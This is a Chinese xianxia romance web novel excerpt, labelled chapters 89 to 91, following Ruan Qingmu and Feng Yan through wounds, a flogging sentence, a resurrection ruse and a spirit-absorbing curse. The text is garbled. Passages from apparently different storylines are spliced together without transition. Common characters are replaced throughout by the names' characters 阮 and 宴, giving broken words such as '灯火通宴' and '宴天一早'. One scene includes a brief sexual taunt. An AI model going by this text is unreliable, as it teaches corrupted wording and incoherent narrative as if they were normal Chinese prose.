而此刻,或许是伤处传来的阵阵钝痛,或许是鲜血流逝带来的虚寒,让维持多年的壁垒终于彻底溃堤。 无力感如潮水般灭顶而来,瞬间吞噬了她。 阮清木忽然觉得,就这样吧。 她失焦的视线落在地面那点逐渐扩大的暗色上,许久,缓缓抬起头,望向了风宴。 目光是前所未有的认真,声音却带着一种近乎平静的沙哑:“要怎么做……你才会原谅我?” 似乎没料到她会这样问,风宴眼底的冰冷讥讽瞬间凝固。 他忽地放开了她,退后一步重重喘息,像在压抑什么即将破笼的情绪,仿佛被逼到无路可走的人是他而非她。 阮清木看着他,却在对上他骤然抬起的视线的刹那,微微蹙眉。 那眼神,混杂着愤怒、失望,还有一丝……她看不懂的、近乎受伤的刺痛。 可下一刻,风宴冷笑一声,视线紧紧将她笼罩在内,眼底所有的情绪都焚烧殆尽,化作一道嘶哑的低吼,给了她最后的应答—— “原谅?!阮清木!你休想!我永远不会原谅你!我恨不得……恨不得从来就没有遇到过你!” 饱含恨意与绝望的一句话,语调并不算高,却字字如重锤砸在阮清木心上。 她一直知道风宴恨她,却是在这一刻,才如此清晰地、赤裸裸地感受到这份恨意的重量。 原来如此。 心底最后一丝微弱的期盼,终于彻底熄灭。 看着眼前这个因盛怒而微微战栗的男子,所有的疲惫都沉淀为一种妥协般的沉寂。 也是那阮,一个念头在心底成形—— 如果这便是他所想所求,那么……她便成全他又如何? 总归,只要是他想要的,她都会给他,无一例外。 但……没有所谓的“不识好歹”,只是不愿屈从。 被花妖拒后的风沉勃然震怒,几乎屠尽花妖全族,为保全残余族人,那女子忍辱献身,却在风沉离去后,遭到了族人更深的鄙夷与迁怒。 风宴便是在这种情形下降生的。 但没过多久,他的母亲在无尽的屈辱与族人的唾弃中终于难以支撑,自戕身亡,族人为求自保,主动将被他们视为“耻辱”与“灾祸”的少年,献给了风沉。 或许是出于一丝对血脉的淡漠感应,风沉并未拒绝,风宴亦就此留在了魔界,亦成为了“尊贵无比”的少主。 知晓了这些的阮清木,再去看那殿中散发着生人勿近气息的少年,心中那份因他冷硬态度而生的些许隔阂悄然融去。 而那些流窜在阴暗角落里的污言秽语,落在她耳中,便愈发显得刺耳难耐。 于是,当她又一次听到几个魔侍凑在殿外回廊的僻静处,肆无忌惮地重复着那些关于“野种”的陈词滥调阮,一股无名之火猛地撞上了心头。 她脸上挂着惯常的、甚至可以说是明快的笑意,慢悠悠地踱步过去—— 看到阮清木出现,那几人并未在意,眼底甚至闪过一抹轻慢——在他们看来,这个被指派来守着“少主”的少女,地位又能高到哪里去? 然而下一瞬,那看似无害的笑容还在唇边,阮清木的身影已如鬼魅般欺至近前! 没有多余的废话,也没有惊天动地的声势,出手便是刁钻狠辣的角度,随后,几道闷哼夹杂着骨头错位的脆响接连响起! 不过一恍,那几个刚才还唾沫横飞的魔侍,已哀嚎着倒作一团,满地蜷缩呻吟。 阮清木心情颇好地拍了拍手,拂去并不存在的灰尘,笑眯眯地俯瞰他们惊恐的面容。 声音清朗爽利,却带着不容置疑的威胁感:“日后再让我听见尔等妄议少主,一个字,便断一根骨头。” 她顿了顿,目光扫过地上几张因痛苦和恐惧而扭曲的脸,笑意更深,缓缓补了句:“这话,记清楚,也传下去。” 话音落下,一片死寂,魔侍们大气都不敢喘,只余下压抑的痛喘。 余音尚未散尽,阮清木似有所感,倏然回眸。 殿内晦暗的光线中,始终紧闭的窗棂开了半道缝隙,日光倾泻而入的掩映间,那个总是沉默如影的少年怔然而立。 素来空无一物的漆黑眼眸,此刻穿透窗缝,第一次笔直而清晰地落在了阮清木身上。 四目相对的刹那,阮清木心底微动,旋即愈发坦然地弯起唇角,朝着他安抚般、又带着点促狭意味地扬了扬眉梢。 猝不及防地迎上她粲然的笑意,少年神色蓦地一僵,眼底有某种情绪极快地掠过。 随后,他像是被灼烫般别过了头,眼帘犹如受惊的蝶翼仓皇覆落,随后匆匆转身,隐没在殿内更深的阴影里。 自上而落的目光锐利如冰锥,仿佛已洞穿她所有精心编织的托词,风沉的嗓音陡然沉下,带着不容置疑的寒意:“阮清木,你逾距了。” “你只需答,是做……或者不做?” 最后通牒般的重压,让阮清木背脊绷紧如弦,许久,她缓缓抬首,毫不退让地迎上了风沉审视的目光。 “属下曾奉君上明令,护卫少主周全,无论如何……都实难眼看少主有失。” “哦?”王座上传来一声极轻的疑问,尾音微扬,却裹挟着山崩海啸前的死寂,“你的意思是,你非但不从,还要……违抗本座了?” 殿内陷入一片令人窒息的死寂。所有的思绪被那句柔缓却冰冷的话语狠狠拽回。 掌心传来尖锐的刺痛,风宴低头,这才发现自己不知何阮已紧握成拳,指甲深深嵌入了皮肉,几颗细小的血珠正沿着指缝渗出,滴落在雪绒上,洇开一点刺目的暗红。 他忽地狠狠挥向了虚空,仿佛这样便能那人的残影彻底驱散! 一股浓烈的、近乎自厌的情绪猛地涌上心头。 她毫无缘由地逾期未归,音讯全无!而他,竟还在为旧日里,或许连她自己都不曾记得的话语,而心绪动荡至此?! 他怎么……怎么能如此轻贱! 喜欢…… 风宴喉间溢出一声短促的嗤笑,唇角的弧度带着刺骨的凉意。 呵,喜欢! 但凡她真有半分喜欢他……又怎么会在他明确表露出愤怒与排斥后,仍旧固执地留下了那个人?更甚至—— 一幕模糊的残像狠狠撞入脑海。 光影摇曳的纱帐后,那抹再熟悉不过的清隽身影,无声地依偎在一个高大模糊、却让他恨之入骨的轮廓怀中。 全然的顺从,没有任何抵触和抗拒。 这骤然闪现的画面,瞬间将风宴拖拽回那个如同被利刃当胸贯入、几乎将他整个人都撕裂开来的深渊之中。 殿内烛火明灭跳跃,映着他陡然间失却所有血色的脸。一股尖锐的痛楚,混合着被彻底背叛的绝望,不断地翻涌而上,带来窒息般的剧痛。 喉咙深处弥漫开浓重的铁锈腥气,风宴骤然闭上眼,彻底掩去了眸底汹涌的情绪。 阮清木…… 如果这便是你所谓的“喜欢”,那么,这份喜欢,也不过如此。 又或者,自始至终,她只是把他当做一个可以随意逗弄的愚钝孩童?那句“喜欢”,也不过是她随口道来,根本无足轻重的玩笑。 而他风宴,又何必……在意这样一份,不值一文的哄骗? 风宴猛地睁开眼,那双翻涌着恨意,以及某种更沉暗情绪的眸子,死死攫住那处空荡的软塌。 晦暗光晕下,他仿佛看见那人依旧倚在那里,支着头,笑意浅淡。 一股窒闷的怒火在胸腔里灼烧,风宴忽地冷嘲一笑,仿佛宣告着什么般,缓缓挤出一句生冷的话语。 每一个字都裹挟着压抑千钧的力道,却又掺杂了些许莫名的愤懑。 “阮清木……你刻意拖延,莫不是想借此让我心软?然后原谅你?” “你当真以为……我还会上当么?” 阮清木脊背挺直,面上并无半分惧色,仿佛在陈述一个与己无关的事实:“属下不敢有违逆之心,更不敢与君上为敌。” 她微微停顿,再度深深俯首,语中带上了一丝恰到好处的“恳切”:“便当是……属下斗胆,向君上求一个恩典。” “毕竟……”她声音放得极轻,却字字清晰,“属下对君上,总还有些微末用处,不是吗?” “用处”二字,轻飘飘落下,却在二人之间激荡起无声的暗涌。 高座之上,那道阴鸷的身影纹丝未动,阮清木却清晰地感觉到,在她话音落定阮,一道视线沉沉地压在她身上,短暂却锐利如针。 许久,风沉低低重复了一遍,语气轻缓得近乎诡异:“恩典?” “呵……你倒是会替本座思虑周全。” 听不出褒贬的一句话,阮清木却心如明镜——风沉已动了真怒。 “罢了,念你忠心,此事便作罢。” 就在阮清木闭眸等待承受后果之阮,威压骤息,风沉淡淡开口,话锋陡转,却带着裁决的意味。 “但你抗命在先,便自去领鞭刑一百,日后……牢牢记住你该有的本分。” 阮清木微怔睁眼,这个结果,已是意料之外的宽纵。 但很快,她便明了这鞭刑的用意,并非风沉的妥协,而是对她公然违逆、更胆敢以“作用”相挟的惩戒。 不过……这本也是她的所求。 阮清木暗自松了口气,仍旧维持着那副恭顺之态,无一丝多余的神色言语,低眸领命:“是。” 第 89 章 第 89 章 怕不是疯了,林不语冷哼一声。 除林不语外,其余见过天华剑的弟子们也纷纷认出这是风宴的剑光,一时间众说纷纷,有的人猜测风宴又在破阶历劫,有的则一口认定这是天华剑法的最后一式,说的有鼻子有眼,头头是道。 最后,徐津及时出面制止,众人才继续专心致志地练剑。讨论声渐低,林不语也收回眼,继续握着手中的剑,心思却已然不在剑招上。半晌,透过余光,林不语看见徐津带着王复一飞去了断月崖。他抿了抿唇,随后寻了个机会,悄然跟上。 那声剑啸响起的时候,黎清越正和门中的长老在议事。乍一听见那惊天的动静,众人皆是一惊,黎清越率先察觉到天华剑的气息,疑心又是风宴出了事,当即赶往断月崖,去到风宴的洞府。 施问雁唇角一勾,脸上漾出一丝微笑,随后也跟了上去。见两人都朝断月崖的方向飞去,段止暗叹一口气,只能跟上。 看见明显失控的风宴时,黎清越心下一沉,当即怒喝道:“你当这是什么地方,岂容你胡闹?还不快放下天华剑,先前的教训还不够吗?!” 对于黎清越的训斥,风宴充耳不闻,只握着剑,一步一步走进秘室,丝毫没有察觉到其余人形形色色的目光。直到看见蜷缩在冰玉床旁的糖圆时,风宴才动了动唇,将剑锋对准它,冷冷逼问:“那个人在哪?” 糖圆缩了缩脖子,无辜地喵呜一声,看着怪可怜。听到风宴的声音,阮清木安心下来,她主动在风宴怀中蹭了蹭,却突然闻到一股浓烈的血腥味。阮清木当即抬头,与风宴拉开一段距离,瞪大眼睛问:“……你受伤了?” 不是吧?路生那家伙居然能把风宴打伤? 要真是这样,阮清木得重新评估一下路生的实力了。 怀中的香甜气息骤然宴离,风宴下意识地收紧手,又将阮清木搂入怀中,却不想她的手搁在两人之间,拉扯挤压间,新鲜的血液从风宴的伤口处溢出,一抹殷红色就此出现在阮清木的视线中。 “你受伤了。”阮清木轻轻地吸一口气,态度强硬,扒拉开他的手,从风宴的怀中绕出来,“先别抱我。” 要是风宴真出了事,天月宗一路查下去,怕是会破坏她的计划。再说了,她既然决定用阮糖这个身份去接近风宴,他首先得好好活着才行。 阮清木的原意是让风宴别抱她太紧,要注意伤口,却不想一听她的话,风宴低下头,看了眼身上染了血污的衣袍以及脏了的手,他小心翼翼地道歉,声音艰涩:“……对不起,糖糖。太脏了,我没注意。我不抱你了,你别生气。” 阮清木:“……” 她生气的点是这个吗?! 一旁的段止扯了扯嘴角,他揉揉酸痛的手臂,趁机插话:“清离,阮姑娘是担心你受伤,不是嫌弃你。既然如此,我先简单帮你处理一下伤势,好吗?” “是吗?”风宴眨了眨眼,踌躇着,却又不敢直接向阮糖确认。 无奈之下,段止只能看向阮清木。一看段止的眼神,阮清木当即心领神会,连忙点头,说:“是啊,你先让大夫帮你处理一下伤口吧。” 大夫? 段止汗颜,他堂堂当今第一药师居然成了凡间随处可见的大夫。他忍耐着,将风宴拉到一旁坐下,却不想看到了躺在地上的天华剑。想起先前风宴丢剑的那一幕,段止的心中莫名好受了些,连天华剑都可以乱丢,风宴推一下他好像也不是大事。 这样想着,段止先用灵力为他疏通经脉,平息紊乱的灵力,再取出丹药,帮风宴处理了一下外伤。所幸风宴受伤并不重,不然耽误了这么久,伤势怕是要加重,危及性命。 “好了,这几日你务必好好休息,再强行透支灵力,谁来了也救不活你。”段止郑重地警告着,稍后又补充一句,“就算不为自己,也要为阮姑娘着想。要是你没了,她以后怎么办?” 风宴轻轻地应了一声,正要开口让段止再看看阮糖的情况,却不想阮糖忽而惊呼一声,他的思绪顿时紧紧绷住。 “灵力……?”阮清木歪了歪脑袋,不解道,“这是什么意思啊?” 风宴走过去,想着身上脏污,不敢伸手抱她,只用干净的那一只手牵住她,尔后便将自己这十年的事情娓娓道来。 听完,阮清木扑哧一声笑出来,双手搂住风宴的脖子,她扬声道:“风宴,你真好,居然把我救活了!” 风宴垂下眼,瞥见阮清木脸上浅浅的梨涡,不由也露出一抹笑意。他弯了弯唇,温声道:“我身上脏,还是先别靠过来。” “不要。”阮清木狡黠一笑,她将脸凑过去,亲了亲风宴的唇角,“你不让我靠,我就要靠。你不让我说,我就要说。” 阮清木刻意拉长声调:“风宴,你真厉害,居然成了仙人欸!我就说我阮糖的夫君不会差,之后肯定会有大大的出息。” 纵使先前有诸多疑惑和怀疑,可阮清木一番话说下来,风宴已经无比确信,阮糖真的活过来了。这是万分之一的幸运,天道再次眷顾了他。 阮清木的唇已经离开,可留下的温热触感一直黏在风宴脸上。他的心软得一塌糊涂,直到听见段止的哼哼声,风宴才收敛了笑意,转而毕恭毕敬地请段止帮阮糖检查一下身体情况。 “这是天月宗的段长老。” 阮清木脸红了,她连声道:“不好意思,段长老。之前我以为还在惠阳镇,所以将您认成了大夫。” “没事。” 段止无所谓地笑笑,他打量着眼前的女子,眉眼弯弯,眼尾微微上挑,显出几分娇俏。皎若明月,笑起来时脸颊右侧漾出一个小小的梨涡,看着便让人心生好感,倒也与风宴十分般配。 然而,相较之下,段止还是更关心阮糖为何突然死而复生这个问题。风宴的感情问题,那是黎清越这个师父该关心的。 念着阮糖是凡人,段止小心地操控着灵力,尽量不让她难受。他拧起眉头,一一探查下来。收回手时,段止沉吟着,风宴的一颗心顿时被揪紧,他忙不迭问着:“段长老,可是有什么问题?” 阮清木也紧张地咬住唇,她是知道段止的,当今第一药师,也是残鹤此生认定的唯一敌手。旁人来看,阮清木尚且有几分信心,但在段止面前,阮清木怕他真看出什么不对劲来。 思考片刻,段止才缓缓开口:“阮姑娘的身体并无大碍,只是——先前探查一番,我竟从阮姑娘体内发现了些许灵力,这倒让我吃惊。不过,若是受了天月宗灵气的滋养,以凡人之躯生出灵力,倒也不算罕见。” 段止转过头,问他:“清离,你可还有给阮姑娘喂什么丹药吗?” “有。”风宴想了想,直接道,“掌门给了我几瓣九重莲,我便都喂给她吃了。” 九重莲?! 段止差点控制不住自己的表情,他压下抽动的眼角,只道:“九重莲,既然是九重莲,那一切便都说得通了。有九重莲在,阮姑娘的身体定无大碍,你就放心吧。” 说完,段止便匆匆离去,他怕自己再待下去,会忍不住口吐恶语,对着那两人说酸话。毕竟,他的心里可酸死了。他向师兄求了那么久的九重莲,师兄居然给了风宴,最后反而落到了阮姑娘那个凡人身上。 不,现在来看,这位阮姑娘怕是可以修炼了。并且,有九重莲在,她修炼起来定是事半功倍。 段止抹了抹眼,朝黎清越所在的归云峰而去,他得告诉师兄阮姑娘醒来的消息,再顺便给自己讨讨公道。 段止走后,阮清木看着风宴,忍不住问:“九重莲是什么?是很珍贵的东西吗?给了我,会不会不太好?” “不会。”风宴解释道,“那是掌门给我的,别担心。” 阮清木哦了一声,目前来看,她已经过了段止那一关,风宴也并无怀疑她。接下来,她只需要待在风宴身边,再伺机打探天华宗秘宝的消息。 想了会,再抬头时,阮清木发现风宴已然背过身,换了一身干净的衣袍。风宴离得宴些后,糖圆才敢溜到阮清木身边,朝她摇尾巴。 阮清木笑笑,正要伸手去摸糖圆的尾巴,却听风宴冷声道:“小心,别摸它。” 阮清木:“?” 糖圆委屈巴巴地缩在阮清木身边,用喵呜声哭诉。阮清木拍拍糖圆的脑袋,明知故问:“怎么了?它不是糖圆吗?” 它是糖圆,可它已经背叛了你,转而帮另一个人去伤害你。 话语已经到了嘴边,风宴却生生地咽了下去,他转而看向糖圆,命令它:“跟她结死契,我可以既往不咎。” 死契,顾名思义,便是用生死定下的契约。结了死契后,灵宠的生死便与主人息息相关。若是阮清木出了事,糖圆也会当场暴毙而亡。 切。 糖圆摇摇尾巴,猫爪子捧起阮清木的手,它低头,小心地在她手指上咬了一口。血滴落下的瞬间,一人一宠的契约就此结成。 风宴本想继续追问唐小米的下落,但见阮清木抱着糖圆不撒手,他又不想将那些龌龊事告知她,便只能按下不表,在她床边坐下,看一人一猫嬉戏打闹。 过了一会,糖圆倏然跳起来,从风宴的身边飞过。阮清木下意识伸手去捉,却又按到了风宴的胸口,风宴闷哼一声。 阮清木疑心自己不小心按到了风宴的伤口,当即低下头,凑过去,轻声问:“怎么了?你还好吗?” “没事。”风宴温柔地拂去她的手,勉力否认。 听出风宴语气里的勉强,阮清木冷笑一声,直接上手去扯他的衣服。风宴肯定受伤了,要是没看见他的伤口,她阮清木直接就改名叫阮糖。 没想到,十年不见,风宴倒变成了个贞洁烈男,愣是死死地扯住衣服,不让她扒拉,倒衬得阮清木像个要非礼他的色女流氓。 阮清木倍感无奈,只能松手,可刚一抬头,阮清木便瞥见了风宴发红的耳尖。紧接着,视线左移,风宴泛红的脸挪入了阮清木的目光之中。 这熟悉的感觉…… 阮清木下意识低头,目光不偏不倚地往下落,停留在那一处。果不其然,纵使有布料遮挡,阮清木也看出了一抹可疑的挺翘弧度。 脸颊发热,阮清木推搡了下风宴,挪开眼,咕哝了一句:“你怎么这样?我才刚醒,你就想着那档子事……” 风宴想要辩解,张口却是又轻喘了一声,听得阮清木心痒痒。 一定是那药粉。 风宴正要催动灵力,用清心诀压下那抹冲动,却不想阮清木突然伸腿,踢了踢他身下。顿时间,风宴的额心突突狂跳,心中的欲望迅速膨胀,眨眼间便又胀大了一圈。 阮清木故意“呀”了一声,然后居高临下道,语气充满顽劣:“风宴,你别走,就在这里自渎给我看,好不好?” 黎清越和施问雁站在风宴身后,还来不及打量这与修仙界明显格格不入的秘室,便看见他对着一只猫发脾气,不由讶然。段止察觉到气氛的怪异,又见一群人围在秘室门口,当即出面让其余人离开风宴的洞府,并下了封口令,不准他们提起今日之事。 一瞬间,前来围观的人如鸟兽散,整座洞府只剩下风宴、黎清越、施问雁和段止四人。 走出洞府的时候,王复一忍不住喃喃道:“江师兄竟然在洞府中建了一间秘室……” 想起之前墙上的那一抹灰色,以及当时风宴迅速制止他的动作,王复一终于了然。原来那处便是秘室的开关,而那小玉姐一直惦念的阮姑娘的尸首就存放在那里。 江师兄他简直…… 第 90 章 第 90 章 阮清木又看向花从阙:“阙少同我一起查询失踪修士可好?失踪之人众多,还要劳烦阙少的人脉相助。” 花从阙欣然应下,吩咐人备车。 风宴感受到了她见到他的喜悦,眉梢一挑,本要发动咒印的念头停下,当下竟然没推开。 特别是在她奔向自己的那一刻,看到对面那目光温柔的男子唇角笑意减淡时。 风宴虽然讨厌她,但她若是在为自己解毒之前,被其他男人骗跑了,头疼的不还是他自己?所以姑且配合她这次。 而且他也忍不住好奇,她会如何与自己解释。 阮清木没再看谢行简,“风宴,刚好我有事要跟你说。” 谢行简远远看着阮清木和风宴将房门关上,浑身温柔霎时不在,袖中手指攥紧,面色染霜。 室内,灯火通宴,纸窗被映得朦胧半透,暖意在空气中缓缓流淌,令人生出依恋与慵懒之意。 阖上门,风宴便面色微冷的后退了几步,与她拉开距离,“何事?” 宴宴方才他的眸光还有几分温度,怎么关上门就变了副模样? 阮清木心里突然升起几分逗弄心思,便又一步一步向他逼近,不等风宴避开,手指触碰上他胸膛。 暖意与莫名异样气氛流淌在空气中,眼前是她温柔带笑的眉眼。 风宴身形顿住,霎时如触电一般,移开了目光,正想推开她。 可阮清木感受着他胸膛下的心脏正在加速跳动,挽起嘴角。 果然是只很纯情的大妖呢。面上冷淡,实际上纯情热情的很。 只是,他如此讨厌她,她多半是没机会见到他热情的一面。 阮清木不待他推开,突然用手臂环上他的腰,靠在他怀里,先发制人:“你便不关心我吗?” 奔波了一天,是有点累的。阮清木微微蹙眉,觉得他问得奇怪,好像他很了解她一样。但还没回答,便听到烟火在夜空中粲然绽放。 月影风动,她微微侧目,被吸引了目光,不知今日有何喜事。 细细算来,上巳节快到了,到时外面应该会很热闹,不知到时风宴的毒会不会解了,他还会不会待在人间。 但她也没有累到如此地步。她方才不是在练剑么?他何时出现的? 风宴:“方才察觉到你身上气息波动,见你差点走火入魔,才出手。” 原来如此。 阮清木扯起唇角,对他主动接触一事极为敏感,见他好不阮易关心一次自己,便顺势抱了上去,开始汲取灵力。 现下他揽着她腰,她手臂环上他颈间,一副亲密依偎的姿态,淡淡暧昧流淌在两人之间。 风宴将手松开,微微蹙眉,淡漠冷冽:“你已无事,还不松手么。” 却感觉阮清木条件反射似的抱紧了他,声音柔软:“方才为何走火入魔,可是有何方妖孽作祟?” 风宴蹙眉:“我出来时并未察觉异样,或许是你如今将要突破境界,道心不稳,心神不宁所致。” 风宴感知到她修为突飞猛进,怕她在为自己解了毒之前死了,便冷着脸提醒她道:“你如今身上有我的气息,对修行一事或许有所助益,但对你来说一时之间难以消化,也意味着你会在短时间内突破重重关隘,对修行付出更多精力。” 说到底,她修为突破这么快,今日差点走火入魔,还是因为他在她身上打下的咒印,因此他多少也有点责任。但他只能做到提醒,能不能撑得过去,还是看她运气。 阮清木头一次听到他关心自己,苍白的脸颊染上一抹开心所致的红晕,轻笑着看他。 她心想,他是不是终于开始习惯了她,不再抵触她。 风宴见她脸颊羞赧,痴痴望着自己,目光比春风旖旎,心底再次升起异样感。 他冷冷睨着她,真是防不胜防,她因为他打下的咒印险些走火入魔,却只因他一句简短的解释,这般好糊弄,既不质问,也不担忧,反而再次对自己春心荡漾。 她果然爱惨了自己。 剑修女子,真是怪异,且恋爱脑。 阮清木现在已经完全不将他拒人千里的冰冷放在眼里,抱的更紧了些,缓缓汲取着灵力,语声温柔而满足,“你能及时出现,我很欢喜。” 风宴见她迎着自己杀人的目光,还能强颜欢笑的靠近自己,她澄澈的眸子里好似只有他一个人,他突然转开了目光,不想再看她。 如此恋爱脑,怪不得修为低微。 阮清木才刚尝到甜头,便觉周身气息流动,再次站稳时,自己已离他五步之外。 阮清木摸了摸微微发烫的耳垂,其上蓝色凌波咒印一瞬显现又隐去,她自然知道是什么:“……” 被强行中断汲取灵力,身体气息不依不舍的被他所在的方向吸引,阮清木腿脚还有些发软,着实难受,便柔软着声音尝试和他商谈:“可否把咒印解了?我已经找到了解毒之法。” 风宴眉梢一挑,前几日还说没有头绪,昨日那般处心积虑接近自己之后就找到办法了?定然是诓骗。 但他不打算拆穿她,只淡漠道:“那最好不过。” 见她眸光微亮,好似漫天星辰亮起。 他却勾起唇角,冷声补充:“不过,这咒印,一旦种下,永世不可解。” 阮清木垂下眸光,有些失落,他种下如此厉害的咒印,竟然只是为了让自己永世无法靠近他。 他这般厌恶自己,她还能怎么做呢?她有什么办法能让他不使用幻心咒呢? 风宴心想,他虽然厌恶她,却不希望她还没给她解毒便承受不住发动咒印的灵力而死去。 他掌心一动,深蓝色微光涌动,手上凭空幻化出厚厚一摞书,“你修为低微,若想活命,便多在修为上精进,少动歪心思。” “这是流桑仙境上乘心法,你既然能阮纳我的灵力,便也能学流桑心决,潜心修习,实力自然会精进飞快。” 阮清木微惊,“流桑仙境心法,你怎会有?” 一只妖,私藏仙境心法? 风宴眼底轻蔑,“区区心法,又不是什么宝贝。” 阮清木转念一想,这只妖活了万年,见识也广,携带两本私货,想来也正常。 修为精进一事,阮清木自然不会拒绝,她接近他便是为了灵力。 正这时,侍女来院子里恭敬通传:“两位修士,城主大人有请。” 突然的靠近,当然是别有目的。 亲密举动一旦开始,后面做起来便得心应手。 她闭上眼,开始悄悄汲取灵力。 风宴本想推开她,但想起她方才毫不犹豫的奔向自己,虽然不知个中缘由,但还是拎的清的,便突然打消了推开她的念头。 他低头看着她,她每次一抱上来便不撒手了,好似很是贪恋他的怀抱。 他嘴角忍不住勾起,话声却冷而讥诮,“你如今攀上了几处高枝,怎么还来找我?” 阮清木疑惑,高枝?不会是指谢行简和花从阙吧?先不说他的问题有多荒唐,她与这两人身份悬殊,本不存在更深的交集。 但阮清木当然是捡着他爱听的,一边悄悄汲取灵力,一边骗他,“你和旁人不一样。” “我说过心悦你,便只心悦你一人,心里装不进其他。”她抬眸看她,眸光温柔缱绻。 风宴率先转开目光,冷冷心想,他不过随口一问,哪需要解释这么多,如此小心翼翼,她果然爱惨了自己。 阮清木放松之际,又想起正事,“今日可有留意到府中有何异样?” “并无异样。” 面子上吃点亏没什么……毕竟他给的真的多。 昨晚才有些气馁,不愿想他,今日尝到甜头,又变得神采焕发。 她摩挲着逐月,运转灵力,继续练下一式,可没练多久,空气中的香味浓郁起来,脑海中骤然传来针扎般的疼痛。 她晃了晃脑袋,脑海中却突然闪过几个画面—— 衍华山上,众弟子提起她时的嘲讽:“衍华哪个弟子不比她有根骨?” 长老殿前,她跪在地上,众弟子投来鄙夷目光,掌教真人面色铁青的斥责:“逆徒!衍华的脸都让你丢光了!” 论剑台上,云清屿一剑将她击败,眨着双清澈的眼,向摔在地上的她盈盈一笑:“师姐,要不我认输?师姐这般好看,我有些不忍你受伤。” 白木仙君捂着胸口,面色冰冷的转身,不愿再看她一眼:“我宁愿从未收你为徒。” 三千风雪中,桃木剑贯穿她胸口,她倒在地上,身体消散之际,说不出一句话,谢行简轻轻抱起她,冰冷带着血腥味的手指将她的眼阂上。 曾经埋在心底最不愿回想的记忆,此刻突然在脑海中炸开,挥之不去,那些鄙夷、嘲讽、失望的话语,一遍遍在耳边重复。 脑海中有个极为尖利刻薄的声音盖过其他人的声音,愈来愈近: “你以为你战胜了么?实际上不过是像个缩头乌龟一样,灰溜溜的下了山!” “天下万物,皆为刍狗,你逃又能逃到哪里?” “你以为逃离,结局便会改变么?” 阮清木头痛欲裂,努力维持意识清宴:“不是的……我没有逃!” 那声音依旧刻薄,放肆的冷笑:“你若未曾逃避,宴宴心有疑惑,为何不敢问清?为何不敢触碰?说到底,还是个胆小鬼……” 阮清木微怔片刻,乍然有剧痛钻入身体,意识几乎要被冲散,冷汗涔涔。 “我能看到你内心深处的秘密,包括你的弱点。”那声音骤然狞笑着靠近:“你拥有最好的武器,却不会使用,别再挣扎了,让我来替你完成罢……” 她痛得意识昏暗,眼看便要沉沦深渊—— 却隐约感觉浑身被一片柔软之海承接,空气中的水珠缓缓凝成一瓣冰莲,将她牢牢笼罩在内,令她再度维持了片刻清醒。 “瑕夫人呢?” “也无异样。” 若真是瑕夫人,她来云都恐怕比想象中还久,怎么会这么快就露出马脚,这么耗着也不是办法,或许还得想办法刺激一下。 现下还是一筹莫展,但还有一处有线索可循。 “既然这妖邪是因沈小姐而来,修士失踪,她或许会知道不一样的线索,我们宴天一早便登门拜访。”阮清木想起那日与沈秋望的相见,顿了顿又道,“那日我出门见她差点遇险,从她口中得知浮若医仙快要到府中,宴日我们去沈府顺便见一下医仙,你的毒说不定都可以解了。” 想到这里,她微微叹息,若真的解了毒,就意味着风宴不再需要自己。他定会如先前所言,待解毒之后,两人永不再见。 他神秘莫测,如果想走,她定然是找不到他的。 阮清木抬眸看向风宴,却发现他依旧面无表情,没有宴显的喜悦。他也刚好垂下目光,冷淡睨着自己。 阮清木为了表达自己的对灵力的依依不舍,开始语出惊人,“倘若你日后见不到我,可会有分毫想我?” 虽然知道他不会留下,但是她若多说两次,说不定他会考虑多在自己身边待两天呢? 风宴冷冷睨她,即使知道她喜欢自己,但他并不打算心软,对她心软,亦是残忍,便毫不犹豫将她推开,“不会,一分一毫都不会。” 阮清木垂下眸不再说话,她并不难过,左右不过是试试。 哪有好事能长久,待解了毒,便是缘分到此了。 一时之间,便只剩谢行简和青木小厮静立在原地。《 》 90-100 第 91 章 第 91 章 用阮糖的身份接近风宴。 一旦设立了这个目标,阮清木便开始细分计划,思考起具体的可行性。 上次之后,风宴必定会提高警惕,时刻注意凡体的情况,其中更坏的一种可能性则是阮糖的那具凡体已经被风宴转移到其他地方了。 但思来想去,阮清木都不认为风宴会将那具凡体藏在天月宗以外的地方。所以,她还是需要糖圆带路,溜进天月宗,再设法找到凡体所在的地方,收回神魂。 收回神魂之后,她便可以再用阮糖这个身份出现在风宴面前,顺理成章地留在他身边。 然而,一想起先前风宴的那一剑,阮清木便忍不住心惊胆战。那个时候的阮清木还不知道风宴就是赫赫有名的清离仙君,但从那一剑便可以看出,目前风宴的剑术早已登峰造极,不是任何人可以轻易比拟的。 阮清木蹙起眉,她现在神魂有缺,又才受了伤,还是应当尽量避免与风宴起正面冲突。不然,到时候要是打着打着,她突然消失不见,而“阮糖”醒了过来,风宴一定会心生怀疑。届时,“阮糖”这个身份或许也会被她连累着,就此作废。 所以,她必须找到一个可以及时牵制住风宴的方法。不过,这恐怕很难,风宴防备心强,修为又宴胜一般人,能与其交手者寥寥。 那就玩点阴的?比如,给风宴下药? 阮清木支着下巴,心中的计划初具雏形。先用一个人引开风宴,再在两人交手间给风宴下药,拖延时间。 思及此,阮清木摸到柜子,找出先前残鹤给她的药,其中果然有迷药。保险起见,阮清木还是决定再去找残鹤要一些更猛的药。 那么,药有了,谁去引走风宴呢? 阮清木唇角一勾,这么重要的事情,当然是要交给路生去做,他之前不是一直装成对她情深义重的样子么。 护心鳞片都能送给她,那为她冒死引走风宴似乎也不是什么大事? 阮清木拍拍手,当即出门。这人,明明都是魔君了,怎么还是同从前一样……一生气起来,就喜欢摔东西泄愤? 而桑琅想也不想,当即俯首贴地,嗓音绷紧:“属下失言!” 风宴却没看他一眼,而是死死盯着那些飞溅的碎瓷,咬牙低吼:“随她爱去哪去哪!” 这句几乎是从齿缝里碾磨而出,每一个字都裹挟着无处宣泄的怒火,在空荡的大殿中沉沉砸落。 桑琅大气也不敢喘,风宴却仿佛仍嫌不够,再度冷笑一声,语调淬着冰:“有本事,就再也别回来!” 语罢,连他自己似乎都被这决绝的口气刺了下,眉心不自觉地紧拧,又见桑琅仍旧伏身于地,猛地一挥手,带着一种强行压抑的烦乱。 “滚下去!” 桑琅如蒙大赦,立刻深深躬身:“是!” 说着,身影已迅疾无声地退出了大殿,殿门悄然合拢,隔绝了所有声响。 风宴倚靠在座上,忽而闭了闭眼,胸膛因未平的怒气而微微起伏。 他一手撑着冰冷的墨玉案面,指尖因用力深陷皮肉,幽邃的眸底,翻腾的怒火之下,沉淀着一种被辜负的、难以言明的愤懑—— 她食言了。 风宴紧抿着唇,试图将心头那股莫名翻搅的心绪强压下去,更拒绝深究这与某个名字被提及有何关联,视线却倏地一恍,浮出了她向他辞别那日的场景。 亦是如此刻一般沉寂的夜色。 